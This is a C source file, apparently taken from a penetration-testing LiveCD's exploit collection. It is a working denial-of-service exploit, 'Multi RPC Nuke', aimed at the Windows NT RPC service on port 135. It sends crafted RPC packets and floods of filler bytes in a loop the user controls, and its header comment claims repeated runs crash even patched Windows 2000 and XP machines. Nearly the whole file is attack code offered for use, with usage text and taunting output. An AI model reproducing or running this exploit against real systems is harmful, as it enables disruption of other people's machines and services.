home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / windows / MultiWinNuke.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  185 lines

  1. /*
  2. * Microsoft Windows NT RPC Service Denial of Service Vulnerability
  3. *
  4. * Orginal Code By Lion @ http://www.cnhonker.com
  5. * Upgraded By Trancer @ http://BinaryVision.tech.nu
  6. *
  7. * I have notice that even after a Windows NT system is patched aginst this
  8. vulnerability with an offical M$ update,
  9. * an attacker can still DoS that system if he activate this exploit a lot
  10. of times, fast.
  11. * So I've upgraded the exploit by looping it and letting you control the
  12. times you want to nuke a system
  13. * (with a patched 2000\XP 250-400 times is recommended).
  14. *
  15. * That's it. enjoy :-)
  16. \*
  17.  
  18. #include <winsock2.h>
  19. #include <stdio.h>
  20.  
  21. #pragma comment(lib, "ws2_32.lib")
  22.  
  23. char sendcode1[] =
  24.   "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00"
  25.   "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
  26.   "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f"
  27.   "\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
  28.   "\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00"
  29.   "\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00"
  30.   "\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00";
  31.  
  32. char sendcode2[] =
  33.   "\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00";
  34.  
  35. char sendcode3[] =
  36.   "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00"
  37.   "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00";
  38.  
  39. char sendcode4[] =
  40.   "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d"
  41.   "\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d"
  42.   "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
  43.   "\x50\x10\x01\x00\x00\x00\x02\x00";
  44.  
  45. char sendcode5[] =
  46.   "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
  47.   "\x80\xf9\x00\x00\x00\x00\x02\x00";
  48.  
  49. char sendcode6[] =
  50.   "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
  51.   "\xb0\xe2\x00\x00\x00\x00\x02\x00";
  52.  
  53. char sendcode7[] =
  54.   "\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00"
  55.   "\x60\x15\x00\x00\x00\x00\x02\x00";
  56.  
  57. char sendcode8[] =
  58.   "\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00";
  59.  
  60. int main(int argc, char *argv[])
  61. {
  62.   WSADATA wsaData;
  63.   WORD wVersionRequested;
  64.   struct hostent *pTarget;
  65.   struct sockaddr_in sock;
  66.   char *targetip;
  67.   int port,bufsize,times,i;
  68.   SOCKET s;
  69.   char buffer[20480];
  70.  
  71.   printf("======================= Windows NT Multi RPC Nuke V0.12
  72. ======================\r\n");
  73.   printf("=============== Orginal Code By Lion @ http://www.cnhonker.com
  74. ===============\r\n");
  75.   printf("============= Upgraded By Trancer @ http://BinaryVision.tech.nu
  76. ==============\r\n\n");
  77.  
  78.   if (argc < 2)
  79.   {
  80.     printf("Usage:\r\n");
  81.     printf(" %s <TargetIP> <TargetPort> <BufferSize> <Times>\r\n", argv[0]);
  82.     printf("Exaple: %s 198.167.0.1 135 512 250\r\n", argv[0]);
  83.     printf("PS:\r\n");
  84.     printf(" If target is XP, try 2 times.\r\n");
  85.     exit(1);
  86.   }
  87.  
  88.   wVersionRequested = MAKEWORD(1, 1);
  89.   if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
  90.  
  91.   targetip = argv[1];
  92.   port = 135;
  93.   if (argc >= 3) port = atoi(argv[2]);
  94.   bufsize = 512;
  95.   if (argc >= 4) bufsize = atoi(argv[3]);
  96.   times = 1;
  97.   if (argc >= 5) times = atoi(argv[4]);
  98.  
  99.   for (i = 0; i < times; i = i + 1)
  100.   {
  101.  
  102.     s = socket(AF_INET, SOCK_STREAM, 0);
  103.     if(s==INVALID_SOCKET)
  104.     {
  105.       printf("Socket error!\r\n");
  106.       exit(1);
  107.     }
  108.  
  109.     printf("Resolving Hostnames...\n");
  110.     if ((pTarget = gethostbyname(targetip)) == NULL)
  111.     {
  112.       printf("Resolve of %s failed, please try again.\n", argv[1]);
  113.       exit(1);
  114.     }
  115.  
  116.     memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
  117.     sock.sin_family = AF_INET;
  118.     sock.sin_port = htons((USHORT)port);
  119.  
  120.     printf("Connecting...\n");
  121.     if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))
  122.     {
  123.       printf("Couldn't connect to host.\n");
  124.       exit(1);
  125.     }
  126.  
  127.     printf("Connected!...\n");
  128.     printf("Sending Packets...\n");
  129.     if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)
  130.     {
  131.       printf("Error sending nuke Packets\r\n");
  132.       closesocket(s);
  133.       exit(1);
  134.     }
  135.  
  136.     memset(&buffer, '\x41', 240);
  137.     send(s, buffer, 240, 0);
  138.  
  139.     send(s, sendcode2, sizeof(sendcode2)-1, 0);
  140.     memset(&buffer, '\x42', 5000);
  141.     send(s, buffer, 5000, 0);
  142.  
  143.     send(s, sendcode3, sizeof(sendcode3)-1, 0);
  144.     memset(&buffer, '\x43', 512);
  145.     send(s, buffer, 512, 0);
  146.  
  147.     send(s, sendcode4, sizeof(sendcode4)-1, 0);
  148.     memset(&buffer, '\x44', 20480);
  149.     send(s, buffer, 20480, 0);
  150.  
  151.     memset(&buffer, '\x44', 5000);
  152.     send(s, buffer, 5000, 0);
  153.  
  154.     send(s, sendcode5, sizeof(sendcode5)-1, 0);
  155.     memset(&buffer, '\x45', 5000);
  156.     send(s, buffer, 5000, 0);
  157.  
  158.     send(s, sendcode6, sizeof(sendcode6)-1, 0);
  159.     memset(&buffer, '\x46', 5000);
  160.     send(s, buffer, 5000, 0);
  161.  
  162.     send(s, sendcode7, sizeof(sendcode7)-1, 0);
  163.     memset(&buffer, '\x47', 5000);
  164.     send(s, buffer, 5000, 0);
  165.  
  166.     send(s, sendcode8, sizeof(sendcode8)-1, 0);
  167.     memset(&buffer, '\x48', 5000);
  168.     send(s, buffer, 5000, 0);
  169.     i = i + 1;
  170.   }
  171.  
  172.   if (times < 2)
  173.   {
  174.     printf("Nuked! If target is XP, try a again! :)\r\n");
  175.   }
  176.   else
  177.   {
  178.     printf("%s was nuked %s times\r\n", argv[1], argv[4]);
  179.   }
  180.  
  181.   closesocket(s);
  182.   WSACleanup();
  183.   return 0;
  184. }
  185.